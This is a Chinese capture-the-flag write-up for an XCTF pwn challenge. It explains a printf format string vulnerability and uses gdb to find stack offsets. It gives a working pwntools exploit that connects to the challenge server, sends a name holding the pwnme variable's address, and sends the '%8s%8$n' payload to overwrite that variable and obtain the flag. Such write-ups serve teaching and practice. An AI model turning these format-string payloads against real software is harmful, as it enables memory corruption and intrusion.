原题地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050&page=1
本题属于格式化字符串漏洞,主要利用gdb调试
文件中只有一个main方法,如图位置存在格式化字符串漏洞
这里需要提及一下格式化字符串漏洞的原理:
核心在于printf(&test)会将test解释为格式化字符串,并且,格式化字符串存在%n可以写入元素存储的地址中前面字符串长(注意地址%n的目标地址为0xf7faf5a0,使用%n后该地址值为0x14):
利用gdb进行测试:
在格式化字符串漏洞下一指令设置断点:
运行,第一个输入为test
第二个输入通过%ks%1$n,其中%ks代表长为k的字符串;%j$n代表指令指向printf指针栈底方向第j个地址。调整k值,直至下一内存地址出现长度0x14为止。经测试一个地址存储为20,如下所示:
同时,利用stack 20观察栈结构可以看到test的st位置,因此用户名除了首两位可以放到指针+8行的位置:
构建payload如下所示:
第一个输入为了令存放用户名的位置存放pwnme变量的地址
b"aa"+p32(0x0804A068)
第二个输入构造输入,令上述地址位置通过%n写入8
"%8s%8$n"
代码如下:
from pwn import *
host = '111.200.241.244'
port = 57276
#/bin/sh:0804A024
#"A"*0x88+4+p32(0x08048320)+p32(0)EBP+p32(0x0804A024)
p = connect(host, port)
payload = b"aa"+p32(0x0804A068)
p.sendline(payload)
payload = "%8s%8$n"
p.sendline(payload)
p.interactive()
如图,pwnme写入8成功,获取flag: